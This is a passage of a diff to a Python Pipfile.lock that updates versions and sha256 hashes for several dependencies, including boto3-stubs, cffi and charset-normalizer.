"6d9fb8466f7ba2211dc64c3b71008f3845d5ad2ad4d1ae3b2df2378031a8af77" }, "pipfile-spec": 6, "requires": { @@ -18,9 +18,9 @@ "default": { "aliyun-python-sdk-core": { "hashes": [ - "sha256:20bd54984fa316da700c7f355a51ab0b816690e2a0fcefb7b5ef013fed0da928" + "sha256:c806815a48ffdb894cc5bce15b8259b9a3012cc0cda01be2f3dfbb844f3f4f21" ], - "version": "==2.13.36" + "version": "==2.14.0" }, "aliyun-python-sdk-core-v3": { "hashes": [ @@ -95,12 +95,12 @@ }, "boto3-stubs": { "hashes": [ - "sha256:12d7e5865aeec52e1f73b935b1c6a42e61325538fc2cb83a87a83e41e9485241", - "sha256:3ea81a225e062f3bcb205467891086ea031519697ad54622e61251b52609b8d6" + "sha256:22a08e27d2ede1849dd0d75e8501099240b34bd70adb606584a2af2e12f3a22b", + "sha256:f5ae08d2abae7709fff3e7cacea66c41cb43236527cfaf3975e506c6c67439a0" ], "index": "pypi", "markers": "python_version >= '3.7'", - "version": "==1.28.52" + "version": "==1.28.62" }, "botocore": { "hashes": [ @@ -113,12 +113,12 @@ }, "botocore-stubs": { "hashes": [ - "sha256:11431ac0faa35cad6deed6e87002f312f8ea6358d8106a241b60bcead2f84279", - "sha256:2fa9b78c7a335a94d918079773dc3198786de741586187d847a8710b9c337009" + "sha256:2ce555e5dff2e91fc22bd67106534bf3e0593b838d87f8a49d3b8e87fa83a440", + "sha256:d30217d8f6a0888616a44c83150490c5fbc899550ffe1896a2cd15a2205fd648" ], "index": "pypi", "markers": "python_version >= '3.7' and python_version < '4.0'", - "version": "==1.31.52" + "version": "==1.31.62" }, "celery": { "hashes": [ @@ -149,73 +149,62 @@ }, "cffi": { "hashes": [ - "sha256:00a9ed42e88df81ffae7a8ab6d9356b371399b91dbdf0c3cb1e84c03a13aceb5", - "sha256:03425bdae262c76aad70202debd780501fabeaca237cdfddc008987c0e0f59ef", - "sha256:04ed324bda3cda42b9b695d51bb7d54b680b9719cfab04227cdd1e04e5de3104", - "sha256:0e2642fe3142e4cc4af0799748233ad6da94c62a8bec3a6648bf8ee68b1c7426", - "sha256:173379135477dc8cac4bc58f45db08ab45d228b3363adb7af79436135d028405", - "sha256:198caafb44239b60e252492445da556afafc7d1e3ab7a1fb3f0584ef6d742375", - "sha256:1e74c6b51a9ed6589199c787bf5f9875612ca4a8a0785fb2d4a84429badaf22a", - "sha256:2012c72d854c2d03e45d06ae57f40d78e5770d252f195b93f581acf3ba44496e", - "sha256:21157295583fe8943475029ed5abdcf71eb3911894724e360acff1d61c1d54bc", - "sha256:2470043b93ff09bf8fb1d46d1cb756ce6132c54826661a32d4e4d132e1977adf", - "sha256:285d29981935eb726a4399badae8f0ffdff4f5050eaa6d0cfc3f64b857b77185", - "sha256:30d78fbc8ebf9c92c9b7823ee18eb92f2e6ef79b45ac84db507f52fbe3ec4497", - "sha256:320dab6e7cb2eacdf0e658569d2575c4dad258c0fcc794f46215e1e39f90f2c3", - "sha256:33ab79603146aace82c2427da5ca6e58f2b3f2fb5da893ceac0c42218a40be35", - "sha256:3548db281cd7d2561c9ad9984681c95f7b0e38881201e157833a2342c30d5e8c", - "sha256:3799aecf2e17cf585d977b780ce79ff0dc9b78d799fc694221ce814c2c19db83", - "sha256:39d39875251ca8f612b6f33e6b1195af86d1b3e60086068be9cc053aa4376e21", - "sha256:3b926aa83d1edb5aa5b427b4053dc420ec295a08e40911296b9eb1b6170f6cca", - "sha256:3bcde07039e586f91b45c88f8583ea7cf7a0770df3a1649627bf598332cb6984", - "sha256:3d08afd128ddaa624a48cf2b859afef385b720bb4b43df214f85616922e6a5ac", - "sha256:3eb6971dcff08619f8d91607cfc726518b6fa2a9eba42856be181c6d0d9515fd", - "sha256:40f4774f5a9d4f5e344f31a32b5096977b5d48560c5592e2f3d2c4374bd543ee", - "sha256:4289fc34b2f5316fbb762d75362931e351941fa95fa18789191b33fc4cf9504a", - "sha256:470c103ae716238bbe698d67ad020e1db9d9dba34fa5a899b5e21577e6d52ed2", - "sha256:4f2c9f67e9821cad2e5f480bc8d83b8742896f1242dba247911072d4fa94c192", - "sha256:50a74364d85fd319352182ef59c5c790484a336f6db772c1a9231f1c3ed0cbd7", - "sha256:54a2db7b78338edd780e7ef7f9f6c442500fb0d41a5a4ea24fff1c929d5af585", - "sha256:5635bd9cb9731e6d4a1132a498dd34f764034a8ce60cef4f5319c0541159392f", - "sha256:59c0b02d0a6c384d453fece7566d1c7e6b7bae4fc5874ef2ef46d56776d61c9e", - "sha256:5d598b938678ebf3c67377cdd45e09d431369c3b1a5b331058c338e201f12b27", - "sha256:5df2768244d19ab7f60546d0c7c63ce1581f7af8b5de3eb3004b9b6fc8a9f84b", - "sha256:5ef34d190326c3b1f822a5b7a45f6c4535e2f47ed06fec77d3d799c450b2651e", - "sha256:6975a3fac6bc83c4a65c9f9fcab9e47019a11d3d2cf7f3c0d03431bf145a941e", - "sha256:6c9a799e985904922a4d207a94eae35c78ebae90e128f0c4e521ce339396be9d", - "sha256:70df4e3b545a17496c9b3f41f5115e69a4f2e77e94e1d2a8e1070bc0c38c8a3c", - "sha256:7473e861101c9e72452f9bf8acb984947aa1661a7704553a9f6e4baa5ba64415", - "sha256:8102eaf27e1e448db915d08afa8b41d6c7ca7a04b7d73af6514df10a3e74bd82", - "sha256:87c450779d0914f2861b8526e035c5e6da0a3199d8f1add1a665e1cbc6fc6d02", - "sha256:8b7ee99e510d7b66cdb6c593f21c043c248537a32e0bedf02e01e9553a172314", - "sha256:91fc98adde3d7881af9b59ed0294046f3806221863722ba7d8d120c575314325", - "sha256:94411f22c3985acaec6f83c6df553f2dbe17b698cc7f8ae751ff2237d96b9e3c", - "sha256:98d85c6a2bef81588d9227dde12db8a7f47f639f4a17c9ae08e773aa9c697bf3", - "sha256:9ad5db27f9cabae298d151c85cf2bad1d359a1b9c686a275df03385758e2f914", - "sha256:a0b71b1b8fbf2b96e41c4d990244165e2c9be83d54962a9a1d118fd8657d2045", - "sha256:a0f100c8912c114ff53e1202d0078b425bee3649ae34d7b070e9697f93c5d52d", - "sha256:a591fe9e525846e4d154205572a029f653ada1a78b93697f3b5a8f1f2bc055b9", - "sha256:a5c84c68147988265e60416b57fc83425a78058853509c1b0629c180094904a5", - "sha256:a66d3508133af6e8548451b25058d5812812ec3798c886bf38ed24a98216fab2", - "sha256:a8c4917bd7ad33e8eb21e9a5bbba979b49d9a97acb3a803092cbc1133e20343c", - "sha256:b3bbeb01c2b273cca1e1e0c5df57f12dce9a4dd331b4fa1635b8bec26350bde3", - "sha256:cba9d6b9a7d64d4bd46167096fc9d2f835e25d7e4c121fb2ddfc6528fb0413b2", - "sha256:cc4d65aeeaa04136a12677d3dd0b1c0c94dc43abac5860ab33cceb42b801c1e8", - "sha256:ce4bcc037df4fc5e3d184794f27bdaab018943698f4ca31630bc7f84a7b69c6d", - "sha256:cec7d9412a9102bdc577382c3929b337320c4c4c4849f2c5cdd14d7368c5562d", - "sha256:d400bfb9a37b1351253cb402671cea7e89bdecc294e8016a707f6d1d8ac934f9", - "sha256:d61f4695e6c866a23a21acab0509af1cdfd2c013cf256bbf5b6b5e2695827162", - "sha256:db0fbb9c62743ce59a9ff687eb5f4afbe77e5e8403d6697f7446e5f609976f76", - "sha256:dd86c085fae2efd48ac91dd7ccffcfc0571387fe1193d33b6394db7ef31fe2a4", - "sha256:e00b098126fd45523dd056d2efba6c5a63b71ffe9f2bbe1a4fe1716e1d0c331e", - "sha256:e229a521186c75c8ad9490854fd8bbdd9a0c9aa3a524326b55be83b54d4e0ad9", - "sha256:e263d77ee3dd201c3a142934a086a4450861778baaeeb45db4591ef65550b0a6", - "sha256:ed9cb427ba5504c1dc15ede7d516b84757c3e3d7868ccc85121d9310d27eed0b", - "sha256:fa6693661a4c91757f4412306191b6dc88c1703f780c8234035eac011922bc01", - "sha256:fcd131dd944808b5bdb38e6f5b53013c5aa4f334c5cad0c72742f6eba4b73db0" - ], - "index": "pypi", - "version": "==1.15.1" + "sha256:0c9ef6ff37e974b73c25eecc13952c55bceed9112be2d9d938ded8e856138bcc", + "sha256:131fd094d1065b19540c3d72594260f118b231090295d8c34e19a7bbcf2e860a", + "sha256:1b8ebc27c014c59692bb2664c7d13ce7a6e9a629be20e54e7271fa696ff2b417", + "sha256:2c56b361916f390cd758a57f2e16233eb4f64bcbeee88a4881ea90fca14dc6ab", + "sha256:2d92b25dbf6cae33f65005baf472d2c245c050b1ce709cc4588cdcdd5495b520", + "sha256:31d13b0f99e0836b7ff893d37af07366ebc90b678b6664c955b54561fc36ef36", + "sha256:32c68ef735dbe5857c810328cb2481e24722a59a2003018885514d4c09af9743", + "sha256:3686dffb02459559c74dd3d81748269ffb0eb027c39a6fc99502de37d501faa8", + "sha256:582215a0e9adbe0e379761260553ba11c58943e4bbe9c36430c4ca6ac74b15ed", + "sha256:5b50bf3f55561dac5438f8e70bfcdfd74543fd60df5fa5f62d94e5867deca684", + "sha256:5bf44d66cdf9e893637896c7faa22298baebcd18d1ddb6d2626a6e39793a1d56", + "sha256:6602bc8dc6f3a9e02b6c22c4fc1e47aa50f8f8e6d3f78a5e16ac33ef5fefa324", + "sha256:673739cb539f8cdaa07d92d02efa93c9ccf87e345b9a0b556e3ecc666718468d", + "sha256:68678abf380b42ce21a5f2abde8efee05c114c2fdb2e9eef2efdb0257fba1235", + "sha256:68e7c44931cc171c54ccb702482e9fc723192e88d25a0e133edd7aff8fcd1f6e", + "sha256:6b3d6606d369fc1da4fd8c357d026317fbb9c9b75d36dc16e90e84c26854b088", + "sha256:748dcd1e3d3d7cd5443ef03ce8685043294ad6bd7c02a38d1bd367cfd968e000", + "sha256:7651c50c8c5ef7bdb41108b7b8c5a83013bfaa8a935590c5d74627c047a583c7", + "sha256:7b78010e7b97fef4bee1e896df8a4bbb6712b7f05b7ef630f9d1da00f6444d2e", + "sha256:7e61e3e4fa664a8588aa25c883eab612a188c725755afff6289454d6362b9673", + "sha256:80876338e19c951fdfed6198e70bc88f1c9758b94578d5a7c4c91a87af3cf31c", + "sha256:8895613bcc094d4a1b2dbe179d88d7fb4a15cee43c052e8885783fac397d91fe", + "sha256:88e2b3c14bdb32e440be531ade29d3c50a1a59cd4e51b1dd8b0865c54ea5d2e2", + "sha256:8f8e709127c6c77446a8c0a8c8bf3c8ee706a06cd44b1e827c3e6a2ee6b8c098", + "sha256:9cb4a35b3642fc5c005a6755a5d17c6c8b6bcb6981baf81cea8bfbc8903e8ba8", + "sha256:9f90389693731ff1f659e55c7d1640e2ec43ff725cc61b04b2f9c6d8d017df6a", + "sha256:a09582f178759ee8128d9270cd1344154fd473bb77d94ce0aeb2a93ebf0feaf0", + "sha256:a6a14b17d7e17fa0d207ac08642c8820f84f25ce17a442fd15e27ea18d67c59b", + "sha256:a72e8961a86d19bdb45851d8f1f08b041ea37d2bd8d4fd19903bc3083d80c896", + "sha256:abd808f9c129ba2beda4cfc53bde801e5bcf9d6e0f22f095e45327c038bfe68e", + "sha256:ac0f5edd2360eea2f1daa9e26a41db02dd4b0451b48f7c318e217ee092a213e9", + "sha256:b29ebffcf550f9da55bec9e02ad430c992a87e5f512cd63388abb76f1036d8d2", + "sha256:b2ca4e77f9f47c55c194982e10f058db063937845bb2b7a86c84a6cfe0aefa8b", + "sha256:b7be2d771cdba2942e13215c4e340bfd76398e9227ad10402a8767ab1865d2e6", + "sha256:b84834d0cf97e7d27dd5b7f3aca7b6e9263c56308ab9dc8aae9784abb774d404", + "sha256:b86851a328eedc692acf81fb05444bdf1891747c25af7529e39ddafaf68a4f3f", + "sha256:bcb3ef43e58665bbda2fb198698fcae6776483e0c4a631aa5647806c25e02cc0", + "sha256:c0f31130ebc2d37cdd8e44605fb5fa7ad59049298b3f745c74fa74c62fbfcfc4", + "sha256:c6a164aa47843fb1b01e941d385aab7215563bb8816d80ff3a363a9f8448a8dc", + "sha256:d8a9d3ebe49f084ad71f9269834ceccbf398253c9fac910c4fd7053ff1386936", + "sha256:db8e577c19c0fda0beb7e0d4e09e0ba74b1e4c092e0e40bfa12fe05b6f6d75ba", + "sha256:dc9b18bf40cc75f66f40a7379f6a9513244fe33c0e8aa72e2d56b0196a7ef872", + "sha256:e09f3ff613345df5e8c3667da1d918f9149bd623cd9070c983c013792a9a62eb", + "sha256:e4108df7fe9b707191e55f33efbcb2d81928e10cea45527879a4749cbe472614", + "sha256:e6024675e67af929088fda399b2094574609396b1decb609c55fa58b028a32a1", + "sha256:e70f54f1796669ef691ca07d046cd81a29cb4deb1e5f942003f401c0c4a2695d", + "sha256:e715596e683d2ce000574bae5d07bd522c781a822866c20495e52520564f0969", + "sha256:e760191dd42581e023a68b758769e2da259b5d52e3103c6060ddc02c9edb8d7b", + "sha256:ed86a35631f7bfbb28e108dd96773b9d5a6ce4811cf6ea468bb6a359b256b1e4", + "sha256:ee07e47c12890ef248766a6e55bd38ebfb2bb8edd4142d56db91b21ea68b7627", + "sha256:fa3a0128b152627161ce47201262d3140edb5a5c3da88d73a1b790a959126956", + "sha256:fcc8eb6d5902bb1cf6dc4f187ee3ea80a1eba0a89aba40a5cb20a5087d961357" + ], + "index": "pypi", + "markers": "python_version >= '3.8'", + "version": "==1.16.0" }, "chardet": { "hashes": [ @@ -228,84 +217,99 @@ }, "charset-normalizer": { "hashes": [ - "sha256:04e57ab9fbf9607b77f7d057974694b4f6b142da9ed4a199859d9d4d5c63fe96", - "sha256:09393e1b2a9461950b1c9a45d5fd251dc7c6f228acab64da1c9c0165d9c7765c", - "sha256:0b87549028f680ca955556e3bd57013ab47474c3124dc069faa0b6545b6c9710", - "sha256:1000fba1057b92a65daec275aec30586c3de2401ccdcd41f8a5c1e2c87078706", - "sha256:1249cbbf3d3b04902ff081ffbb33ce3377fa6e4c7356f759f3cd076cc138d020", - "sha256:1920d4ff15ce893210c1f0c0e9d19bfbecb7983c76b33f046c13a8ffbd570252", - "sha256:193cbc708ea3aca45e7221ae58f0fd63f933753a9bfb498a3b474878f12caaad", - "sha256:1a100c6d595a7f316f1b6f01d20815d916e75ff98c27a01ae817439ea7726329", - "sha256:1f30b48dd7fa1474554b0b0f3fdfdd4c13b5c737a3c6284d3cdc424ec0ffff3a", - "sha256:203f0c8871d5a7987be20c72442488a0b8cfd0f43b7973771640fc593f56321f", - "sha256:246de67b99b6851627d945db38147d1b209a899311b1305dd84916f2b88526c6", - "sha256:2dee8e57f052ef5353cf608e0b4c871aee320dd1b87d351c28764fc0ca55f9f4", - "sha256:2efb1bd13885392adfda4614c33d3b68dee4921fd0ac1d3988f8cbb7d589e72a", - "sha256:2f4ac36d8e2b4cc1aa71df3dd84ff8efbe3bfb97ac41242fbcfc053c67434f46", - "sha256:3170c9399da12c9dc66366e9d14da8bf7147e1e9d9ea566067bbce7bb74bd9c2", - "sha256:3b1613dd5aee995ec6d4c69f00378bbd07614702a315a2cf6c1d21461fe17c23", - "sha256:3bb3d25a8e6c0aedd251753a79ae98a093c7e7b471faa3aa9a93a81431987ace", - "sha256:3bb7fda7260735efe66d5107fb7e6af6a7c04c7fce9b2514e04b7a74b06bf5dd", - "sha256:41b25eaa7d15909cf3ac4c96088c1f266a9a93ec44f87f1d13d4a0e86c81b982", - "sha256:45de3f87179c1823e6d9e32156fb14c1927fcc9aba21433f088fdfb555b77c10", - "sha256:46fb8c61d794b78ec7134a715a3e564aafc8f6b5e338417cb19fe9f57a5a9bf2", - "sha256:48021783bdf96e3d6de03a6e39a1171ed5bd7e8bb93fc84cc649d11490f87cea", - "sha256:4957669ef390f0e6719db3613ab3a7631e68424604a7b448f079bee145da6e09", - "sha256:5e86d77b090dbddbe78867a0275cb4df08ea195e660f1f7f13435a4649e954e5", - "sha256:6339d047dab2780cc6220f46306628e04d9750f02f983ddb37439ca47ced7149", - "sha256:681eb3d7e02e3c3655d1b16059fbfb605ac464c834a0c629048a30fad2b27489", - "sha256:6c409c0deba34f147f77efaa67b8e4bb83d2f11c8806405f76397ae5b8c0d1c9", - "sha256:7095f6fbfaa55defb6b733cfeb14efaae7a29f0b59d8cf213be4e7ca0b857b80", - "sha256:70c610f6cbe4b9fce272c407dd9d07e33e6bf7b4aa1b7ffb6f6ded8e634e3592", - "sha256:72814c01533f51d68702802d74f77ea026b5ec52793c791e2da806a3844a46c3", - "sha256:7a4826ad2bd6b07ca615c74ab91f32f6c96d08f6fcc3902ceeedaec8cdc3bcd6", - "sha256:7c70087bfee18a42b4040bb9ec1ca15a08242cf5867c58726530bdf3945672ed", - "sha256:855eafa5d5a2034b4621c74925d89c5efef61418570e5ef9b37717d9c796419c", - "sha256:8700f06d0ce6f128de3ccdbc1acaea1ee264d2caa9ca05daaf492fde7c2a7200", - "sha256:89f1b185a01fe560bc8ae5f619e924407efca2191b56ce749ec84982fc59a32a", - "sha256:8b2c760cfc7042b27ebdb4a43a4453bd829a5742503599144d54a032c5dc7e9e", - "sha256:8c2f5e83493748286002f9369f3e6607c565a6a90425a3a1fef5ae32a36d749d", - "sha256:8e098148dd37b4ce3baca71fb394c81dc5d9c7728c95df695d2dca218edf40e6", - "sha256:94aea8eff76ee6d1cdacb07dd2123a68283cb5569e0250feab1240058f53b623", - "sha256:95eb302ff792e12aba9a8b8f8474ab229a83c103d74a750ec0bd1c1eea32e669", - "sha256:9bd9b3b31adcb054116447ea22caa61a285d92e94d710aa5ec97992ff5eb7cf3", - "sha256:9e608aafdb55eb9f255034709e20d5a83b6d60c054df0802fa9c9883d0a937aa", - "sha256:a103b3a7069b62f5d4890ae1b8f0597618f628b286b03d4bc9195230b154bfa9", - "sha256:a386ebe437176aab38c041de1260cd3ea459c6ce5263594399880bbc398225b2", - "sha256:a38856a971c602f98472050165cea2cdc97709240373041b69030be15047691f", - "sha256:a401b4598e5d3f4a9a811f3daf42ee2291790c7f9d74b18d75d6e21dda98a1a1", - "sha256:a7647ebdfb9682b7bb97e2a5e7cb6ae735b1c25008a70b906aecca294ee96cf4", - "sha256:aaf63899c94de41fe3cf934601b0f7ccb6b428c6e4eeb80da72c58eab077b19a", - "sha256:b0dac0ff919ba34d4df1b6131f59ce95b08b9065233446be7e459f95554c0dc8", - "sha256:baacc6aee0b2ef6f3d308e197b5d7a81c0e70b06beae1f1fcacffdbd124fe0e3", - "sha256:bf420121d4c8dce6b889f0e8e4ec0ca34b7f40186203f06a946fa0276ba54029", - "sha256:c04a46716adde8d927adb9457bbe39cf473e1e2c2f5d0a16ceb837e5d841ad4f", - "sha256:c0b21078a4b56965e2b12f247467b234734491897e99c1d51cee628da9786959", - "sha256:c1c76a1743432b4b60ab3358c937a3fe1341c828ae6194108a94c69028247f22", - "sha256:c4983bf937209c57240cff65906b18bb35e64ae872da6a0db937d7b4af845dd7", - "sha256:c4fb39a81950ec280984b3a44f5bd12819953dc5fa3a7e6fa7a80db5ee853952", - "sha256:c57921cda3a80d0f2b8aec7e25c8aa14479ea92b5b51b6876d975d925a2ea346", - "sha256:c8063cf17b19661471ecbdb3df1c84f24ad2e389e326ccaf89e3fb2484d8dd7e", - "sha256:ccd16eb18a849fd8dcb23e23380e2f0a354e8daa0c984b8a732d9cfaba3a776d", - "sha256:cd6dbe0238f7743d0efe563ab46294f54f9bc8f4b9bcf57c3c666cc5bc9d1299", - "sha256:d62e51710986674142526ab9f78663ca2b0726066ae26b78b22e0f5e571238dd", - "sha256:db901e2ac34c931d73054d9797383d0f8009991e723dab15109740a63e7f902a", - "sha256:e03b8895a6990c9ab2cdcd0f2fe44088ca1c65ae592b8f795c3294af00a461c3", - "sha256:e1c8a2f4c69e08e89632defbfabec2feb8a8d99edc9f89ce33c4b9e36ab63037", - "sha256:e4b749b9cc6ee664a3300bb3a273c1ca8068c46be705b6c31cf5d276f8628a94", - "sha256:e6a5bf2cba5ae1bb80b154ed68a3cfa2fa00fde979a7f50d6598d3e17d9ac20c", - "sha256:e857a2232ba53ae940d3456f7533ce6ca98b81917d47adc3c7fd55dad8fab858", - "sha256:ee4006268ed33370957f55bf2e6f4d263eaf4dc3cfc473d1d90baff6ed36ce4a", - "sha256:eef9df1eefada2c09a5e7a40991b9fc6ac6ef20b1372abd48d2794a316dc0449", - "sha256:f058f6963fd82eb143c692cecdc89e075fa0828db2e5b291070485390b2f1c9c", - "sha256:f25c229a6ba38a35ae6e25ca1264621cc25d4d38dca2942a7fce0b67a4efe918", - "sha256:f2a1d0fd4242bd8643ce6f98927cf9c04540af6efa92323e9d3124f57727bfc1", - "sha256:f7560358a6811e52e9c4d142d497f1a6e10103d3a6881f18d04dbce3729c0e2c", - "sha256:f779d3ad205f108d14e99bb3859aa7dd8e9c68874617c72354d7ecaec2a054ac", - "sha256:f87f746ee241d30d6ed93969de31e5ffd09a2961a051e60ae6bddde9ec3583aa" + "sha256:02673e456dc5ab13659f85196c534dc596d4ef260e4d86e856c3b2773ce09843", + "sha256:02af06682e3590ab952599fbadac535ede5d60d78848e555aa58d0c0abbde786", + "sha256:03680bb39035fbcffe828eae9c3f8afc0428c91d38e7d61aa992ef7a59fb120e", + "sha256:0570d21da019941634a531444364f2482e8db0b3425fcd5ac0c36565a64142c8", + "sha256:09c77f964f351a7369cc343911e0df63e762e42bac24cd7d18525961c81754f4", + "sha256:0d3d5b7db9ed8a2b11a774db2bbea7ba1884430a205dbd54a32d61d7c2a190fa", + "sha256:1063da2c85b95f2d1a430f1c33b55c9c17ffaf5e612e10aeaad641c55a9e2b9d", + "sha256:12ebea541c44fdc88ccb794a13fe861cc5e35d64ed689513a5c03d05b53b7c82", + "sha256:153e7b6e724761741e0974fc4dcd406d35ba70b92bfe3fedcb497226c93b9da7", + "sha256:15b26ddf78d57f1d143bdf32e820fd8935d36abe8a25eb9ec0b5a71c82eb3895", + "sha256:1872d01ac8c618a8da634e232f24793883d6e456a66593135aeafe3784b0848d", + "sha256:187d18082694a29005ba2944c882344b6748d5be69e3a89bf3cc9d878e548d5a", + "sha256:1b2919306936ac6efb3aed1fbf81039f7087ddadb3160882a57ee2ff74fd2382", + "sha256:232ac332403e37e4a03d209a3f92ed9071f7d3dbda70e2a5e9cff1c4ba9f0678", + "sha256:23e8565ab7ff33218530bc817922fae827420f143479b753104ab801145b1d5b", + "sha256:24817cb02cbef7cd499f7c9a2735286b4782bd47a5b3516a0e84c50eab44b98e", + "sha256:249c6470a2b60935bafd1d1d13cd613f8cd8388d53461c67397ee6a0f5dce741", + "sha256:24a91a981f185721542a0b7c92e9054b7ab4fea0508a795846bc5b0abf8118d4", + "sha256:2502dd2a736c879c0f0d3e2161e74d9907231e25d35794584b1ca5284e43f596", + "sha256:250c9eb0f4600361dd80d46112213dff2286231d92d3e52af1e5a6083d10cad9", + "sha256:278c296c6f96fa686d74eb449ea1697f3c03dc28b75f873b65b5201806346a69", + "sha256:2935ffc78db9645cb2086c2f8f4cfd23d9b73cc0dc80334bc30aac6f03f68f8c", + "sha256:2f4a0033ce9a76e391542c182f0d48d084855b5fcba5010f707c8e8c34663d77", + "sha256:30a85aed0b864ac88309b7d94be09f6046c834ef60762a8833b660139cfbad13", + "sha256:380c4bde80bce25c6e4f77b19386f5ec9db230df9f2f2ac1e5ad7af2caa70459", + "sha256:3ae38d325b512f63f8da31f826e6cb6c367336f95e418137286ba362925c877e", + "sha256:3b447982ad46348c02cb90d230b75ac34e9886273df3a93eec0539308a6296d7", + "sha256:3debd1150027933210c2fc321527c2299118aa929c2f5a0a80ab6953e3bd1908", + "sha256:4162918ef3098851fcd8a628bf9b6a98d10c380725df9e04caf5ca6dd48c847a", + "sha256:468d2a840567b13a590e67dd276c570f8de00ed767ecc611994c301d0f8c014f", + "sha256:4cc152c5dd831641e995764f9f0b6589519f6f5123258ccaca8c6d34572fefa8", + "sha256:542da1178c1c6af8873e143910e2269add130a299c9106eef2594e15dae5e482", + "sha256:557b21a44ceac6c6b9773bc65aa1b4cc3e248a5ad2f5b914b91579a32e22204d", + "sha256:5707a746c6083a3a74b46b3a631d78d129edab06195a92a8ece755aac25a3f3d", + "sha256:588245972aca710b5b68802c8cad9edaa98589b1b42ad2b53accd6910dad3545", + "sha256:5adf257bd58c1b8632046bbe43ee38c04e1038e9d37de9c57a94d6bd6ce5da34", + "sha256:619d1c96099be5823db34fe89e2582b336b5b074a7f47f819d6b3a57ff7bdb86", + "sha256:63563193aec44bce707e0c5ca64ff69fa72ed7cf34ce6e11d5127555756fd2f6", + "sha256:67b8cc9574bb518ec76dc8e705d4c39ae78bb96237cb533edac149352c1f39fe", + "sha256:6a685067d05e46641d5d1623d7c7fdf15a357546cbb2f71b0ebde91b175ffc3e", + "sha256:70f1d09c0d7748b73290b29219e854b3207aea922f839437870d8cc2168e31cc", + "sha256:750b446b2ffce1739e8578576092179160f6d26bd5e23eb1789c4d64d5af7dc7", + "sha256:7966951325782121e67c81299a031f4c115615e68046f79b85856b86ebffc4cd", + "sha256:7b8b8bf1189b3ba9b8de5c8db4d541b406611a71a955bbbd7385bbc45fcb786c", + "sha256:7f5d10bae5d78e4551b7be7a9b29643a95aded9d0f602aa2ba584f0388e7a557", + "sha256:805dfea4ca10411a5296bcc75638017215a93ffb584c9e344731eef0dcfb026a", + "sha256:81bf654678e575403736b85ba3a7867e31c2c30a69bc57fe88e3ace52fb17b89", + "sha256:82eb849f085624f6a607538ee7b83a6d8126df6d2f7d3b319cb837b289123078", + "sha256:85a32721ddde63c9df9ebb0d2045b9691d9750cb139c161c80e500d210f5e26e", + "sha256:86d1f65ac145e2c9ed71d8ffb1905e9bba3a91ae29ba55b4c46ae6fc31d7c0d4", + "sha256:86f63face3a527284f7bb8a9d4f78988e3c06823f7bea2bd6f0e0e9298ca0403", + "sha256:8eaf82f0eccd1505cf39a45a6bd0a8cf1c70dcfc30dba338207a969d91b965c0", + "sha256:93aa7eef6ee71c629b51ef873991d6911b906d7312c6e8e99790c0f33c576f89", + "sha256:96c2b49eb6a72c0e4991d62406e365d87067ca14c1a729a870d22354e6f68115", + "sha256:9cf3126b85822c4e53aa28c7ec9869b924d6fcfb76e77a45c44b83d91afd74f9", + "sha256:9fe359b2e3a7729010060fbca442ca225280c16e923b37db0e955ac2a2b72a05", + "sha256:a0ac5e7015a5920cfce654c06618ec40c33e12801711da6b4258af59a8eff00a", + "sha256:a3f93dab657839dfa61025056606600a11d0b696d79386f974e459a3fbc568ec", + "sha256:a4b71f4d1765639372a3b32d2638197f5cd5221b19531f9245fcc9ee62d38f56", + "sha256:aae32c93e0f64469f74ccc730a7cb21c7610af3a775157e50bbd38f816536b38", + "sha256:aaf7b34c5bc56b38c931a54f7952f1ff0ae77a2e82496583b247f7c969eb1479", + "sha256:abecce40dfebbfa6abf8e324e1860092eeca6f7375c8c4e655a8afb61af58f2c", + "sha256:abf0d9f45ea5fb95051c8bfe43cb40cda383772f7e5023a83cc481ca2604d74e", + "sha256:ac71b2977fb90c35d41c9453116e283fac47bb9096ad917b8819ca8b943abecd", + "sha256:ada214c6fa40f8d800e575de6b91a40d0548139e5dc457d2ebb61470abf50186", + "sha256:b09719a17a2301178fac4470d54b1680b18a5048b481cb8890e1ef820cb80455", + "sha256:b1121de0e9d6e6ca08289583d7491e7fcb18a439305b34a30b20d8215922d43c", + "sha256:b3b2316b25644b23b54a6f6401074cebcecd1244c0b8e80111c9a3f1c8e83d65", + "sha256:b3d9b48ee6e3967b7901c052b670c7dda6deb812c309439adaffdec55c6d7b78", + "sha256:b5bcf60a228acae568e9911f410f9d9e0d43197d030ae5799e20dca8df588287", + "sha256:b8f3307af845803fb0b060ab76cf6dd3a13adc15b6b451f54281d25911eb92df", + "sha256:c2af80fb58f0f24b3f3adcb9148e6203fa67dd3f61c4af146ecad033024dde43", + "sha256:c350354efb159b8767a6244c166f66e67506e06c8924ed74669b2c70bc8735b1", + "sha256:c5a74c359b2d47d26cdbbc7845e9662d6b08a1e915eb015d044729e92e7050b7", + "sha256:c71f16da1ed8949774ef79f4a0260d28b83b3a50c6576f8f4f0288d109777989", + "sha256:d47ecf253780c90ee181d4d871cd655a789da937454045b17b5798da9393901a", + "sha256:d7eff0f27edc5afa9e405f7165f85a6d782d308f3b6b9d96016c010597958e63", + "sha256:d97d85fa63f315a8bdaba2af9a6a686e0eceab77b3089af45133252618e70884", + "sha256:db756e48f9c5c607b5e33dd36b1d5872d0422e960145b08ab0ec7fd420e9d649", + "sha256:dc45229747b67ffc441b3de2f3ae5e62877a282ea828a5bdb67883c4ee4a8810", + "sha256:e0fc42822278451bc13a2e8626cf2218ba570f27856b536e00cfa53099724828", + "sha256:e39c7eb31e3f5b1f88caff88bcff1b7f8334975b46f6ac6e9fc725d829bc35d4", + "sha256:e46cd37076971c1040fc8c41273a8b3e2c624ce4f2be3f5dfcb7a430c1d3acc2", + "sha256:e5c1502d4ace69a179305abb3f0bb6141cbe4714bc9b31d427329a95acfc8bdd", + "sha256:edfe077ab09442d4ef3c52cb1f9dab89bff02f4524afc0acf2d46be17dc479f5", + "sha256:effe5406c9bd748a871dbcaf3ac69167c38d72db8c9baf3ff954c344f31c4cbe", + "sha256:f0d1e3732768fecb052d90d62b220af62ead5748ac51ef61e7b32c266cac9293", + "sha256:f5969baeaea61c97efa706b9b107dcba02784b1601c74ac84f2a532ea079403e", + "sha256:f8888e31e3a85943743f8fc15e71536bda1c81d5aa36d014a3c0c44481d7db6e", + "sha256:fc52b79d83a3fe3a360902d3f5d79073a993597d48114c29485e9431092905d8" ], "markers": "python_full_version >= '3.7.0'", - "version": "==3.2.0" + "version": "==3.3.0" }, "click": { "hashes": [ @@ -378,12 +382,12 @@ }, "dataclasses-json": { "hashes": [ - "sha256:5bcd5c1d946a69ef94d8cbb726d87af1256f7ba0898809c7695d299ab9b45122", - "sha256:77cbc80041007c27db90abad79eeed9ea00d4627324b1208266379a6ebdc81e4" + 